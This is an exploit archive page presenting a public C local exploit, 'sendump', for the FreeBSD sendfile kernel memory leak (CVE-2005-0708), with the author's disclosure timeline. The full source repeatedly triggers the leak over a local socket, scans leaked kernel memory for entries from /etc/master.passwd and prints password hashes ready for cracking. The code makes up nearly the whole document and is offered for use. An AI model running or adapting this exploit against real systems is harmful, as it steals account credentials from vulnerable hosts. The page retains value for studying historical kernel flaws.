exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD-SA-05:02.sendfile Exploit

FreeBSD-SA-05:02.sendfile Exploit
Posted Apr 1, 2011
Authored by Solar Designer

FreeBSD sendfile exploit that dumps password hashes to stdout.

tags | exploit
systems | freebsd
advisories | CVE-2005-0708
SHA-256 | f71653ab6e8d1fce31b24940aeaf94c9eb51feb74b98eb76e0d2d78d4969c5ee

FreeBSD-SA-05:02.sendfile Exploit

Change Mirror Download
Hi,

This is almost 0-day. In a sense.

I wrote this for a pentesting company. I found it ethically OK to do
since the FreeBSD advisory was already out for a couple of weeks.
It turns out I was not alone to write an exploit for this bug, and to
publish the exploit this year.

Timeline:

2005/04/04 - FreeBSD-SA-05:02.sendfile published:
http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc

2005/04/16 - reliable FreeBSD 4.x local exploit written ...

2005/04/21 - ... and updated to work on 5.x as well (up to 5.3)

2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version
6.00LS) sendfile kernel mem-leak Exploit":
http://seclists.org/fulldisclosure/2011/Feb/83
(By the way, the "<=" is wrong.)

2011/04/01 - Hey, that's today.

<plug>
Openwall is participating in Google Summer of Code 2011. Applications
from students and mentors are currently accepted. And this is no joke.
Besides Owl and JtR tasks (for which we're already seeing a competition
among students), we have a number of reasonably crazy ideas that a
student could work on. Please take a look. Although our "capacity" for
GSoC 2011 is quite limited, some of these may be worked on outside of
GSoC as well.

http://www.google-melange.com/gsoc/org/google/gsoc2011/openwall
http://openwall.info/wiki/ideas
</plug>

--- sendump.c ---
/*
* sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16.
* Updated for FreeBSD 5.x, added alternate hash types, added optional
* relaxed pattern matching - 2005/04/21.
*
* This program is meant to be used in controlled environments only.
* If found in the wild, please return to ... wait, this is public now,
* and this program is hereby placed in the public domain. Feel free to
* reuse parts of the source code, etc.
*
* Password hashes will be dumped to stdout as they're being obtained.
* There may be duplicates.
*
* Debugging may be enabled with one to three "-d" flags. Debugging
* information will be dumped to stderr and, for levels 2 and 3, to
* the "dump" file.
*
* Relaxed pattern matching may be enabled with "-r". This increases
* the likelihood of printing garbage while also making it more likely
* to actually catch the hashes.
*
* There's some risk of this program crashing the (vulnerable) system,
* although this is not intentional. Normally, the program just prints
* password hashes from /etc/master.passwd in a format directly usable
* with John the Ripper.
*
* Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil".
*
* Run this on a filesystem with soft-updates for best results.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <errno.h>
#include <assert.h>

/* for forkpty(); will also need to link against -lutil */
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>

#define Ki 1024
#define Mi (1024 * Ki)

#define DUMP_NAME "dump"

#define DUMMY_NAME "dummy"
#define DUMMY_SIZE (128 * Mi)
#define SOCKET_BUF (196 * Ki)

#define DUMMY_RAND_BITS 4
#define DUMMY_RAND_MASK ((1 << DUMMY_RAND_BITS) - 1)

#define MAX_LOGIN 16
#define MAX_GECOS 128
#define MAX_HOME 128
#define MAX_SHELL 128

static char itoa64[64] =
"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static int debug = 0, relaxed = 0;
static char buf[SOCKET_BUF];

static void pexit(char *what)
{
perror(what);
exit(1);
}

static void write_loop(int fd, char *buf, int count)
{
int offset, block;

offset = 0;
while (count > 0) {
block = write(fd, &buf[offset], count);
if (block < 0) pexit("write");
if (!block) {
fprintf(stderr, "write: Returned 0\n");
exit(1);
}

offset += block;
count -= block;
}
}

static void dump(char *buf, int count)
{
static int fd = -1;

if (fd < 0) {
fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR);
if (fd < 0) pexit("creat");
}
write_loop(fd, buf, count);
}

static int nonzero(char *buf, int count)
{
char *p, *end;

p = buf;
end = buf + count;
while (p < end)
if (*p++) return 1;

return 0;
}

static int search(char *buf, int count)
{
static char prevuser[MAX_LOGIN + 1], prevpass[61];
char *p, *q, *end;
int n;
char *user, *pass, *gecos, *home, *shell;
struct passwd *pw;
int found = 0;

p = buf;
end = buf + count;
while (p < end && (p = memchr(p, '/', end - p))) {
q = p++;
if (q < buf + (1+1+1+13+2+0+1+1+1)) continue;
shell = q;
n = 0;
while (q < end && *q++ > ' ') n++;
if (n < 2 || n > MAX_SHELL) continue;
if (q >= end || *q != '\0') continue;
q = shell;
if (*--q != '\0') continue;
n = 0;
while (q > buf && *--q > ' ') n++;
if (n < 1 || n > MAX_HOME) continue;
home = q + 1;
if (!relaxed && *home != '/') continue;
if (q < buf + (1+1+1+13+2+0+1)) continue;
if (*q != '\0') continue;
n = 0;
while (q > buf && *--q >= ' ') n++;
if (n > MAX_GECOS) continue;
gecos = q + 1;
if (q < buf + (1+1+1+13+2-1)) continue;
if (*q != '\0') continue;
n = 1;
while (q > buf && *--q == '\0') n++;
if (n != 2 || !memchr(itoa64, *q, 64)) {
/* Doesn't look like FreeBSD 4.x, suspect 5.x */
if (*(q + n - 13) == '\0' &&
memchr(itoa64, *(q + n - 14), 64))
/* Looks like FreeBSD 5.x */
q += n - 14;
else
if (!relaxed) continue;
}
q++;
n = 0;
while (q > buf && memchr(itoa64, *--q, 64)) n++;
switch (n) {
case 22:
/* MD5-based */
if (q < buf + (1+1+1+3+1+1-1)) continue;
if (*q != '$') continue;
n = 0;
while (q > buf && memchr(itoa64, *--q, 64)) n++;
if (n < 1 || n > 8) continue;
if (q < buf + (1+1+1+3-1)) continue;
if (*q != '$') continue;
if (*--q != '1') continue;
if (*--q != '$') continue;
break;
case 13:
/* Traditional DES-based */
q++;
break;
case 53:
/* bcrypt */
if (*q != '$') continue;
q--;
if (*q < '0' || *q > '9') continue;
q--;
if (*q < '0' || *q > '3') continue;
if (*--q != '$') continue;
if (*--q != 'a') continue;
if (*--q != '2') continue;
if (*--q != '$') continue;
break;
case 19:
/* Extended DES-based */
if (*q == '_') break;
default:
continue;
}
pass = q;
if (q < buf + (1+1+1)) continue;
if (*--q == '*' && q >= buf + (1+1+1+8)) {
q -= 7;
if (memcmp(q, "*LOCKED", 7)) continue;
pass = q;
q--;
}
if (*q != '\0') continue;
n = 0;
while (q > buf && *--q >= '0') n++;
if (n < 1 || n > MAX_LOGIN || q <= buf) continue;
user = q + 1;

pw = getpwnam(user);
if (!relaxed && !pw) continue;

found = 1;

if (!strcmp(user, prevuser) && !strcmp(pass, prevpass))
continue;

strcpy(prevuser, user);
strcpy(prevpass, pass);

if (pw)
printf("%s:%s:%u:%u:%s:%s:%s\n",
user, pass,
pw->pw_uid, pw->pw_gid, gecos, home, shell);
else
printf("%s:%s:?:?:%s:%s:%s\n",
user, pass, gecos, home, shell);
}

return found;
}

static void exec_passwd(void)
{
int tty, pid;

switch ((pid = forkpty(&tty, NULL, NULL, NULL))) {
case -1:
pexit("forkpty");

case 0:
execl("/usr/bin/passwd", "passwd", NULL);
pexit("execl");
}

write_loop(tty, "\n", 1);
close(tty);

if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");
}

static void usage(void)
{
extern char *__progname;

fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname);
exit(1);
}

static void tune(int argc, char **argv)
{
int c;

while ((c = getopt(argc, argv, "dr")) != -1) {
switch (c) {
case 'd':
debug++;
break;
case 'r':
relaxed++;
break;
default:
usage();
}
}
if (argc != optind) usage();
}

int main(int argc, char **argv)
{
int dummy, lin, in, out;
int pid;
struct sockaddr_in sin;
socklen_t sin_length;
int optval;
off_t dummy_size;
int count;

tune(argc, argv);

dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR);
if (dummy < 0) pexit("open");

if (unlink(DUMMY_NAME)) pexit("unlink");

lin = socket(PF_INET, SOCK_STREAM, 0);
if (lin < 0) pexit("socket");

if (listen(lin, 1)) pexit("listen");

sin_length = sizeof(sin);
if (getsockname(lin, (struct sockaddr *)&sin, &sin_length))
pexit("getsockname");
assert(sin_length == sizeof(sin));

more:
exec_passwd();

dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK);
if (ftruncate(dummy, dummy_size)) pexit("ftruncate");

switch ((pid = fork())) {
case -1:
pexit("fork");

case 0:
out = socket(PF_INET, SOCK_STREAM, 0);
if (out < 0) pexit("socket");

if (connect(out, (struct sockaddr *)&sin, sin_length))
pexit("connect");

if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0))
pexit("sendfile");

return 0;
}

in = accept(lin, NULL, NULL);
if (in < 0) pexit("accept");

optval = SOCKET_BUF;
if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval)))
perror("setsockopt");

if (ftruncate(dummy, 0)) pexit("ftruncate");

do {
count = read(in, buf, sizeof(buf));
if (count < 0) pexit("read");

if (debug >= 3) {
if (nonzero(buf, count)) {
fprintf(stderr, "NZ (%d)\n", count);
dump(buf, count);
search(buf, count);
} else
fprintf(stderr, "Z (%d)\n", count);
} else {
if (search(buf, count)) {
if (debug) fputc('$', stderr);
if (debug >= 2)
dump(buf, count);
} else
if (debug)
fputc(nonzero(buf, count) ? '+' : '-', stderr);
}
} while (count);

if (debug) {
if (debug < 3)
fputc('|', stderr);
else
fputs("---\n", stderr);
}

if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");

close(in);

fflush(stdout);

goto more;
}
---

Alexander
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close